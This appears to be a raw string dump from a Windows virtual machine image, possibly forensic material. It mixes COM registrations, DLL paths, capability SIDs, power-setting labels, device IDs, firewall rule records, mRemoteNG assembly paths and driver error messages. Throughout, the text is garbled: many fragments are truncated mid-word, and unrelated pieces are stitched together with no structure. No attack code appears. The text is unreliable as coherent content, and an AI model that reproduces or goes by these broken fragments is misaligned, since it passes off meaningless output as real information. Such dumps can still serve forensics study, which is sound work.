__FITypedEventHandler_2_WebRuntime__CBrowsingContext_WebRuntime__CWindowResizeByRequestedEventArgs %SystemRoot%\system32\Vault.dll Apartment ActiveSyncAccountAccessor C:\Windows\System32\accountaccessor.dll Both Microsoft DocProp Static Property Control %SystemRoot%\system32\shell32.dll Apartment Windows.Graphics.Printing.Workflow.Native.dll C:\Windows\System32\Windows.Graphics.Printing.Workflow.Native.dll Both XML Feed Document C:\Windows\System32\ieframe.dll Apartment xmlfile C:\Windows\System32\LocationFramework.dll Free TF_ThreadMgr %Systemroot%\System32\msctf.dll Apartment HHCtrl Object eSession ++S+ $STANDARD_INFORMATION $ATTRIBUTE_LIST $FILE_NAME $OBJECT_ID $SECURITY_DESCRIPTOR $VOLUME_NAME $VOLUME_INFORMATION $DATA $INDEX_ROOT $INDEX_ALLOCATION $BITMAP $REPARSE_POINT $EA_INFORMATION $LOGGED_UTILITY_STREAM %SystemRoot%\system32\wmphoto.dll Both C:\Windows\System32\WpnClient.dll Both {0e4ecd3b-1ba6-4636-8198-56c73040964a} Microsoft JPEG XL Encoder C:\Windows\System32\windowscodecs.dll Both Microsoft IME Japan LM Suggestion Data Source C:\Windows\System32\IME\IMEJP\imjpapi.dll Free MSIME.Japan.LMDS.15 MSIME.Japan.LMDS IFindInstalledAppInfo.ProxyStub C:\Windows\System32\appwiz.cpl Both VirtualDisplayManagerCoClass {1B162A5B-B67A-4468-9613-C3F9765B353B} InkCursors Class %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll Both 8fb7d64e-70fc-4f9d-89ee-d486817534df Software\Microsoft\Windows NT\CurrentVersion\SRUM\Telemetry IDownloadCompletedCallbackArgs {00020424-0000-0000-C000-000000000046} {B596CC9F-56E5-419E-A622-E01BB457431E} IIterator<__FIKeyValuePair_2_GUID___FIVectorView_1_Windows__CDevices__CBluetooth__CGenericAttributeProfile__CGattDescriptor*> {4AA53027-562B-4653-A8EF-9B92FF74ADA6} {FD7F2B29-24D0-4B5C-B177-592C39F9CA10} ITypedEventHandler_2_Windows__CDevices__CEnumeration__CDeviceInformationCustomPairing_Windows__CDevices__CEnumeration__CDevicePairingRequestedEventArgs {19fb28d1-0e3f-4b94-bd34-8e841aa8b85e} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {12044CC7-38BB-487A-AD74-D39F7135304F} {A6FF50C0-56C0-71CA-5732-BED303A59628} {A6FF50C0-56C0-71CA-5732-BED303A59628} IAppxStreamingDataSource3 S-1-15-3-3251780300-1139111211-244140164-3604388945 gameMonitor hidTelephony inputSettings inputInjection inputInjectionBrokered inputObservation inputOverride inputSuppression isolatedWin32-dotNetBreadcrumbStore backgroundMediaPlayback isolatedWin32-print isolatedWin32-profilesRootMinimal oneProcessVoIP isolatedWin32-sysTrayIcon isolatedWin32-userProfileMinimal isolatedWin32-shellExtensionContextMenu isolatedWin32-volumeRootMinimal targetedContent isolatedWin32-promptForAccess isolatedWin32-accessTo isherDirectory geAndRegionDeviceSet ocatioL ystem lpacAppExperience lpacClip lpacCom acCryptoServices lpacDeviceAccess graphicsCaptureProgrammatic lpacEnterprisePolicyChangeNotifications optical lpacIdentityServices S-1-1 7306 095266119-53537203-1209375796 lpacIME stru ntation secondaryAuthenticationFactor bluetoot neri 0441 llTr ublicDirectory gePo ProvAcSettingIndex SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\f735a673-2066-4f80-a0c5-ddee0cf1bf5d\DefaultPowerSchemeValues\8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c fc01e91f-914c-45af-9d7c-0b2e5fbedf64 fc01e91f-914c-45af-9d7c-0b2e5fbedf64 SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\36687f9e-e3a5-4dbf-b1dc-15eb381c6863\c04a802d-2205-4910-ae98-3b51e3bb72f2\961cc777-2547-4f9d-8174-7d86181b8a7a ProvAcSettingIndex ProvDcSettingIndex fc01e91f-914c-45af-9d7c-0b2e5fbedf64 fc01e91f-914c-45af-9d7c-0b2e5fbedf64 ProvAcSettingIndex ( H "<DumpStack.log.tmp ( H Gecko.nsIAuthModuleConsts Gecko.nsIAuthModuleConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.nsIAuthModuleConsts Gecko.Interop.ComDebug+XulObjectInfo {9E298F53-0D51-3C31-A078-D7D28C73888B} Gecko.nsIURIFixupConsts SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\93b8b6dc-0698-4d1c-9ee4-0644e900c85d\0c3d5326-944b-4aab-8ad8-fe422a0e50e0\ded574b5-45a0-4f42-8737-46345c09c238 ProvAcSettingIndex fc01e91f-914c-45af-9d7c-0b2e5fbedf64 fc01e91f-914c-45af-9d7c-0b2e5fbedf64 fc01e91f-914c-45af-9d7c-0b2e5fbedf64 SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\bae08b81-2d5e-4688-ad6a-13243356654b\0c3d5326-944b-4aab-8ad8-fe422a0e50e0\ded574b5-45a0-4f42-8737-46345c09c238 ProvAcSettingIndex file:///C:\Program Files (x86)\mRemoteNG\Gecko \SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\AppxManifest.xml C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\appxmanifest.xml y994 C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy\appxmanifest.xml Apps\M PayloadHandler":"FIL rogramData%\\Microsoft\\Windows\ Settings","Name":"AppArchiving.j ibra 4.0, Cul a49bc WorkspaceResTypeRegistry Class C:\Windows\System32\tsworkspace.dll Apartment Workspace.ResTypeRegistry.1 {7071EC00-663B-4BC1-A1FA-B97F3B917C55} Workspace.ResTypeRegistry &Links @C:\Windows\System32\ieframe.dll,-13138 C:\Windows\System32\ieframe.dll Apartment Sound Control Panel @%SystemRoot%\System32\mmsys.cpl,-301#immutable1 @%SystemRoot%\System32\mmsys.cpl,-300#immutable1 Microsoft.Sound Internal %SystemRoot%\System32\mmsys.cpl,-100 %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl CLSID_MIMEQuotedPrintableEncoder %SystemRoot%\System32\exsmime.dll Both EventSystem.EventObjectChange2 {BB07BACD-CD56-4E63-A8FF-CBF0355FB9F4} %systemroot%\system32\es.dll Free CfgComp Class %SystemRoot%\system32\cfgbkend.dll Apartment CfgComp.CfgComp.1 CfgComp.CfgComp PSFactoryBuffer %SystemRoot%\System32\fhcat.dll Both WlanAdhoc LUA {7C8AB6D9-8764-4033-8F62-2FE896E54B32} @%SystemRoot%\System32\wlanpref.dll,-5201 @%systemroot%\system32\wlanpref.dll,-103 %SystemRoot%\system32\wlanpref.dll Apartment WlanAdhoc.WlanAdhocLUA.1 {157702D8-B1C1-40B8-8B46-AF2B40022085} Msxml2.XMLSchemaCache.3.0 {F5078F18-C551-11D3-89B9-0000F81FE221} Msxml2.XMLSchemaCache XML HTTP 3.0 %SystemRoot%\System32\msxml3.dll Apartment Msxml2.XMLHTTP.3.0 {F5078F18-C551-11D3-89B9-0000F81FE221} Msxml2.XMLHTTP XSL Template 3.0 %SystemRoot%\System32\msxml3.dll Both Msxml2.XSLTemplate.3.0 {F5078F18-C551-11D3-89B9-0000F81FE221} Msxml2.XSLTemplate %SystemRoot%\System32\msxml3.dll Apartment XML Data Source Object 3.0 %SystemRoot%\System32\msxml3.dll Apartment \Windows\System32\UiaManager.dll Both Icon Size Explorer Command %SystemRoot%\system32\shell32.dll Both SystemTouchKeyboard Class {01419581-4d63-4d43-ac26-6e2fc976c1f3} NarratorTabItem Class C:\Windows\System32\srh.dll Both CStorageFileProxy %SystemRoot%\system32\Windows.Storage.dll Stretch Property Page C:\Windows\System32\qedit.dll Both CM Cellular CSP %SystemRoot%\System32\CfgSPCellular.dll Both WBEM WIN32_TSSESSIONSETTING Provider %SystemRoot%\system32\tscfgwmi.dll Apartment Windows.Devices.Enumeration.DeviceWatcherTriggerDetails C:\Windows\System32\Windows.Devices.Enumeration.dll Both @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/Files/Assets/Square150x150Logo.png} Global.wsw Global.wsw Microsoft Windows @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/Files/Assets/GetStartedMedTile.png} @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/resources/WebExperienceHostAppName/Text} @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/resources/WebExperienceHostDescription} Microsoft Windows @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/Files/WindowsBackup/Assets/MedTile.png} @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/WindowsBackup/Resources/WindowsBackupHostName} @{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/WindowsBackup/Resources/WindowsBackupDescription} MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata esponding signal having been submitted. Failed to signal periodic monitored fence with VidPnSourceID:%d NotificationID:%u, returning 0x%I64x Trying to wait on CpuNotification. Driver reports out of range layer count: pVidSchGlobal = 0x%I64x, VidPnTargetId = 0x%I64x, Reported Layers = 0x%I64x New periodic monitored fence value has the same value as the last signaled value %d Could not wait on fence array - filtered fence object storage allocation failed. Status = 0x%I64p WaitOnAllocationDmaReferences() trying to access an invalid allocation. VidMmMultiAlloc: 0x%I64X Could not wait on fence array - kernel event object creation failed. Status = 0x%I64p Failed to allocate MDL to page in sysmem allocation. pGlobalAlloc=0x%px Failing preparation due to offered allocation (Alloc: 0x%p) Failed to update a page table during 64KB-4KB transition. Status=0x%.8x Failed to allocate MDL for CHA range Failed to probe and lock allocation backing store, GlobalAllocation=0x%p, Size=%d Failed to allocate pages for the backing store Couldn't allocate memory for local alloc object. Trying to open allocation on non graphics process. Failed to allocate a backing store from the process private heap for this allocation. Size = 0xI64x, Status = 0x%I64x Failed to LockUnlock MDL range in front path. Status = 0x%I64x Failed to allocate memory for MDL range. Couldn't commit virtual memory. Status = 0x%I64x Unable to open section object 0x%I64p into handle table, Status = 0x%I64p ObInsertObject for GlobalAlloc: 0x%I64p failed with: 0x%I64x Failed to Lock second MDL range in split front / back path. PFN index in MDL is out of range for GPU (Pfn[%I64d]=%I64d) Failed to allocate memor %SystemRoot%\System32\BackgroundMediaPolicy.dll Both %SystemRoot%\System32\usercpl.dll Both Compressed (zipped) Folder Right Drag Handler %SystemRoot%\system32\zipfldr.dll Apartment InkTablet Class %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll Both C:\Windows\System32\LocationFramework. Free C:\Win \System3 ndowscodecs.dll Both {eec97550-47a9 f-b9 UmfdHost UmfdHost @%SystemRoot%\system32\powrprof.dll,-63,Turn on the display @%SystemRoot%\system32\powrprof.dll,-258,Specify the action to take when you press the Start menu power button. @%SystemRoot%\system32\powrprof.dll,-259,Start menu power button @%SystemRoot%\system32\powrprof.dll,-52,Sleep @%SystemRoot%\system32\powrprof.dll,-53,Sleep @%SystemRoot%\system32\powrprof.dll,-54,Hibernate @%SystemRoot%\system32\powrprof.dll,-55,Hibernate @%SystemRoot%\system32\powrprof.dll,-56,Shut down @%SystemRoot%\system32\powrprof.dll,-57,Shut down @%SystemRoot%\system32\powrprof.dll,-60,Turn off the display @%SystemRoot%\system32\powrprof.dll,-61,Turn off the display |0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-5|C=S-1-15-3-6|C=S-1-15-3-10|C=S-1-15-3-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003|M=Microsoft.ZuneMusic_8wekyb3d8bbwe|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|D=C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe| gore @%SystemRoot%\system32\powrprof.dll,-900,Enable forced shutdown for button and lid actions @%SystemRoot%\system32\powrprof.dll,-901,Enable forced button/lid shutdown @%SystemRoot%\system32\powrprof.dll,-116,Off @%SystemRoot%\system32\powrprof.dll,-117,Off @%SystemRoot%\system32\powrprof.dll,-114,On @%SystemRoot%\system32\powrprof.dll,-115,On @%SystemRoot%\system32\powrprof.dll,-254,Specify the action to take when you press the sleep button. @%SystemRoot%\system32\powrprof.dll,-255,Sleep button action @%SystemRoot%\system32\powrprof.dll,-514 @%SystemRoot%\system32\powrprof.dll,-50,Do nothing @%SystemRoot%\system32\powrprof.dll,-51,Do nothing 3++S 3++S++ mationSystem graphicsCaptureWithoutBorder updateAndSecurityDeviceSettings userDataAccountsProvider userDataSystem userDataTasksSystem S-1-15-3-2973957182-1175190094-721927306-1883016034 userManagementSystem userSystemId S-1-15-3-3845273463-1331427702-1186551195-1148109977 walletSystem webPlatformMediaExtension windowsHelloCredentialAccess xboxAccessoryManagement xboxBroadcaster xboxSystemApplicationClipQuery xboxTrackingStream allJoyn appointments radios bluetooth bluetoothAdapter cellularData codeGeneration comPort contacts documentsLibrary gamingContainerResources globalMediaControl humanPresence internetClient phoneCall eraApplication internetClientServer location lowLevel lowLevelDevices musicLibrary spatialPerception objects3D offlineMapsManagement phoneCallHistoryPublic kinectVideo proximity removableStorage sensors.custom systemManagement userAccountInformation videosLibrary wifiData windowInfo contentRestrictions kinectAudio kinectExpressions kinectFace kinectGamechat kinectRequired kinectVision multiplaneOverlay S-1-15-3-2644377880-1328420871-3844924566-2531345009 S-1-15-3-395236244-1315033739-1586777234-200431208 S-1-15-3-15993189-1149757597-3280441496-4094800555 S-1-15-3-139472938-1339732804-1469114779-4031155563 S-1-15-3-21215646-1208716416-3513598388-563624394 S-1-15-3-3896177193-1293452864-652350370-3283282805 S-1-15-3-1293833650-298840431-285264776-805306385 S-1-15-3-3215430884-1339816292-89257616-1145831019 S-1-15-3-3870101518-1154309966-1696731070-4111764952 S-1-15-3-787448254-1207972858-3558633622-1059886964 S-1-15-3-4214768333-1334025770-122408079-3919188833 S-1-15-3-1134239919-1079740757-715583641-1133364976 S-1-15-3-1999509746-1110018341-1399106725-3660531915 S-1-15-3-3259236285-1172912892-2704004019-3320563595 S-1-15-3-2826977944-1122184543-2359046549-3458853689 S-1-15-3-2262880736-298877065-582812-1931423806 S-1-15-3-194973768-3701127499-1342101326-3943512813 S-1-15-3-4177661182-1301448398-3844223645-4185687095 S-1-15-3-3739755759-1242460827-297211036-396899197 S-1-15-3-1119633358 Internet.HHCtrl.1 C:\Windows\System32\hhctrl.ocx, 104 {ADB880A2-D8FF-11CF-9377-00AA003B7A11} Internet.HHCtrl Windows ScreenSaver Properties %SystemRoot%\system32\themeui.dll,7 %SystemRoot%\system32\themeui.dll Apartment XAML Browser Application C:\Windows\System32\PresentationHost.exe C:\Windows\System32\PresentationHost.exe Windows.Xbap Alpha C:\Windows\System32\Dxtmsft.dll Both DXImageTransform.Microsoft.Alpha.1 DXImag 3++S {03906a40-cce8-447f-83f4-e2346215db84} 2&daba3ff&0 ACPI_HAL\PNP0C08\0 ACPI_HAL\PNP0C08\0 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A03 ACPI\PNP0A03 *PNP0A03 PCI Bus *PNP0A08 ACPI(_SB_)#ACPI(PCI0) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%*pnp0a03.devicedesc%;PCI Bus @%SystemRoot%\system32\powrprof.dll,-54,Hibernate @%SystemRoot%\system32\powrprof.dll,-55,Hibernate @%SystemRoot%\system32\powrprof.dll,-56,Shut down @%SystemRoot%\system32\powrprof.dll,-57,Shut down @%SystemRoot%\system32\batmeter.dll,-401,Percent battery power remaining when we enter Reserve power mode. @%SystemRoot%\system32\batmeter.dll,-400,Reserve Battery Warning Trip Point @%SystemRoot%\system32\powrprof.dll,-81,percent @%SystemRoot%\system32\powrprof.dll,-1140,Specifies network connection state in Standby. @%SystemRoot%\system32\powrprof.dll,-1141,Networking connectivity in Standby {476090ec-ac54-487b-acfe-26e145f050b8} SWC\Generic HTREE\ROOT\0 {00000000-0000-0000-ffff-ffffffffffff} Microsoft COMPUTER\{90D5F9CB-A52B-5A98-8395-0D835A1C3626} COMPUTER\{F644F57C-FAE3-52C9-A7D9-19757E0098BD} COMPUTER\{BAEAA7F3-89B5-53F3-B93C-D75328C29650} COMPUTER\{4A8A248D-9E6B-5216-B83E-6CDF9BDE8D0D} COMPUTER\Generic SWD\GenericRaw SWD\Generic VMware, Inc. VMware20,1 {4d36e966-e325-11ce-bfc1-08002be10318} {4d36e966-e325-11ce-bfc1-08002be10318}\0001 Computer Device Computer Device @compdev.inf,%msft%;Microsoft Microsoft 6-21-2006 MBRES C:\Windows\System32\DevDispItemProvider.dll C:\Windows\System32\DevDispItemProvider.dll WS2_32.dll wbemcomn.dll abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ++S+ ntainer\ age\ VmGenerationCounter Device 0000006a Device NTPNP_PCI0030 Device NTPNP_PCI0002 Device 00000058 Device 00000044 Device 00000030 Device 00000068 Device NTPNP_PCI0031 Device NTPNP_PCI0003 Device 00000054 Device 00000040 Device 00000078 Device INTELPRO_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Device SymbolicLink 00000064 Device NTPNP_PCI0032 Device 00000050 Device 0000000f Device 00000074 Device USBPDO-1 Device Device Psched Device Tcp6 Device 00000060 Device NTPNP_PCI0033 Device NTPNP_PCI0005 Device 0000001f Device 0000000b Devic 3++S++ 111&SUBSYS_197615AD&REV_01\3&61aaa01&0&39 PCIIDE\IDEChannel\4&23686003&0&0 PCIIDE\IDEChannel\4&23686003&0&1 USB\ROOT_HUB20\5&36a4b5d6&0 SWD\MMDEVAPI\MicrosoftGSWavetableSynth ACPI\PNP0800\4&1bd7f811&0 ACPI\PNP0001\4&1bd7f811&0 ROOT\NdisVirtualBus\0000 SWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0x {50127dc3-0f36-415e-a6cc-4cb3be910b65}\0000 ntel(R)_Core(TM)_i7-1370P\_1 USB\ROOT_HUB30\5&11106705&0&0 USB\ROOT_HUB\5&2891968b&0 USB\VID_0E0F&PID_0003\6&39d724fe&0&5 PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 ACPI\PNP0100\4&1bd7f811&0 ROOT\mssmbios\0000 PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00\4&bbf9765&0&1888 PCI\VEN_15AD&DEV_0790&SUBSYS_079015AD&REV_02\3&61aaa01&0&88 ROOT\SYSTEM\0000 ACPI\VMW0003\4&1bd7f811&0 ROOT\RDPBUS\0000 ACPI\PNP0A05\4&1bd7f811&0 \REGISTRY\MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\StandaloneProviders b3d8 062.84.0_x64__8wm32\imag -18.dat ontCache-FontSet-S-1-5-1 3++S Gecko.nsIRequestConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.Utils.VersionComparer Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.nsIHttpActivityObserverConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.nsIDOMDOMExceptionConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.nsIDOMNodeConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll Gecko.nsIURILoaderConsts Geckofx-Core, Version=45.0.32.0, Culture=neutral, PublicKeyToken=3209ac31600d1857 file:///C:\Program Files (x86)\mRemoteNG\Geckofx-Core.dll UmfdHost UmfdHost Notification Packages scecli Notification Packages UmfdHost nce_526.1202.40.0_x64__c @%SystemRoot%\system32\powrprof.dll,-390,Specify the algorithm used to select a new performance state when the ideal performance state is higher than the current performance state. @%SystemRoot%\system32\powrprof.dll,-391,Processor performance increase policy @%SystemRoot%\system32\powrprof.dll,-382,Select the ideal processor performance state. @%SystemRoot%\system32\powrprof.dll,-383,Ideal @%SystemRoot%\system32\powrprof.dll,-384,Select the processor performance state one closer to ideal than the current processor performance state. @%SystemRoot%\system32\powrprof.dll,-385,Single @%SystemRoot%\system32\powrprof.dll,-386,Select the highest speed/power processor performance state. @%SystemRoot%\system32\powrprof.dll,-387,Rocket @%SystemRoot%\system32\powrprof.dll,-747,Select the ideal processor performance state optimized for responsiveness @%SystemRoot%\system32\powrprof.dll,-748,IdealAggressive PCI\VEN_15AD&DEV_0770&SUBSYS_077015AD&REV_00\4&bbf9765&0&1088 {00000000-0000-0000-ffff-ffffffffffff} usbhub USB\ROOT_HUB20&VID15AD&PID0770&REV0000 USB\ROOT_HUB20&VID15AD&PID0770 USB\ROOT_HUB20 PCIROOT(0)#PCI(1100)#PCI(0200)#USBROOT(0) ACPI(_SB_)#ACPI(PCI0)#ACPI(P2P0)#ACPI(S3F0)#USBROOT(0) {36fc9e60-c465-11cf-8056-444553540000} @usbport.inf,%usb.roothub.devicedesc%;USB Root Hub {36fc9e60-c465-11cf-8056-444553540000}\0003 USB Root Hub USB Root Hub @usbport.inf,%generic.mfg%;(Standard USB Host Controller) Microsoft Microsoft t.inf 6100 23-0 0-8A 0AA00B58 Micr .Cli t.OOBE_1000.26 32.0_x64__cw5n1h2txyewyOob ostMicrosoftWindows.Client.OOBE_cw5n1h2txyewyWIN://PKG MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mspdf.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchUx.Core.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\WidevineCdm\manifest.json \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchUx.Core.dll WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dxcompiler.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe bview2.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat .dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.SystemEventsBroker.dll Volume3\ %2CFX%3A13985DED%2CFX%3A1398AD6C%2CFX%3A1398ADE2%2CFX%3A13999239%2CFX%3A1399AD0A%2CFX%3A1399AD0E%2CFX%3A1399D8CD%2CFX%3A139A40D0%2CFX%3A139A4E0D%2CFX%3A139AE828%2CFX%3A139B5062%2CFX%3A139B604C%2CFX%3A139B629C%2CFX%3A139B65B3%2CFX%3A139B8BDE%2CFX%3A139C53A2%2CFX%3A139EB4E1%2CFX%3A139EDD9E%2CFX%3A139EDE72%2CFX%3A139EEE85%2CFX%3A139EF04B%2CFX%3A139F7176%2CFX%3A13A03C5B%2CFX%3A13A07DE0%2CFX%3A13A0 %3A3 C98% 3A3536BD9%2CMD%3 A4D%2CMD%3A36AF640%2CMD%3A9999%2CCD%3A2601D&sku=48&UtcDataHandlingPolicies=1 l=13th%20Gen %28R 20Co ical M=2048&PrimaryDisk =4&deviceClass=Windows.Desktop&s eId= &locale=en-U PROFILE_ ANGED_TO crosoft. edia Assets\SmallTile.png ms-resource:AppStoreName ms-resource:DisplayTitle ms-resource:DisplayName Assets\LargeTile.png ms-resource:AppName Assets\SmallTile.png Assets\MedTile.png Assets\WideTile.png 9A-63BAE 3++S ++S+ @%SystemRoot%\system32\drivers\pdc.sys,-101 @%SystemRoot%\system32\drivers\pdc.sys,-100 Boot Bus Extender system32\drivers\pdc.sys PEAUTH system32\drivers\peauth.sys C:\ProgramData\Microsoft\MF PEAUTH http @%SystemRoot%\system32\peerdistsvc.dll,-9001 @%SystemRoot%\system32\peerdistsvc.dll,-9000 %SystemRoot%\System32\svchost.exe -k PeerDist NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeAuditPrivilege %SystemRoot%\system32\peerdistsvc.dll SVCServiceMain @%SystemRoot%\system32\PenService.dll,-101 @%SystemRoot%\system32\PenService.dll,-100 %SystemRoot%\system32\svchost.exe -k PenService Driver Service Driver Group Service Driver Group Service Service Service Driver Group Service Service Driver Driver Service Service Service Driver Service Driver Driver Service Service Service Service Service Driver sc-AACDecoderV2AddInEnable msmpeg2adec-AACDecoderV2InSKU msmpeg2adec-DolbyDigitalDecoderV3AddIn msmpeg2adec-DolbyDigitalDecoderV3AddInEnable msmpeg2adec-DolbyDigitalDecoderV3InSKU msmpeg2enc-MPEG2VideoEncoderV3AddIn msmpeg2enc-MPEG2VideoEncoderV3AddInEnable msmpeg2enc-MPEG2VideoEncoderV3InSKU msmpeg2vdec-H264VideoDecoderV2AddIn msmpeg2vdec-H264VideoDecoderV2AddInEnable msmpeg2vdec-H264VideoDecoderV2InSKU msmpeg2vdec-MPEG2VideoDecoderV3AddIn msmpeg2vdec-MPEG2VideoDecoderV3AddInEnable msmpeg2vdec-MPEG2VideoDecoderV3InSKU msoobe-FirstLogonAnim-MayBeDisabled nfs-admincmdtools-enabled nfs-adminmmc-enabled nfs-clientcmdtools-enabled nfs-clientcore-enabled nfs-server-databox-disabled nfs-servercmdtools-enabled nfs-servercore-enabled parentalcontrols-EnableFeature provsvc-license-HomeGroupCreate shell-homegroup-Enabled shell32-license-GroupPolicy-TryHarderPinned shell32-license-ShowBackupReminder shell32-license-ShowProductNameOnDesktop shell32-license-UseBingAsDefaultSearchProvider transmog-CanTransmogDC volmgrx-SupportDynamic volmgrx-SupportMirror volmgrx-SupportRaid5 wvr-servercore-enabled {6296CE48-18F7-47B6-848A-7E8E56FADD6F} usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_RX.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_RX.NT %microsoft% IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* 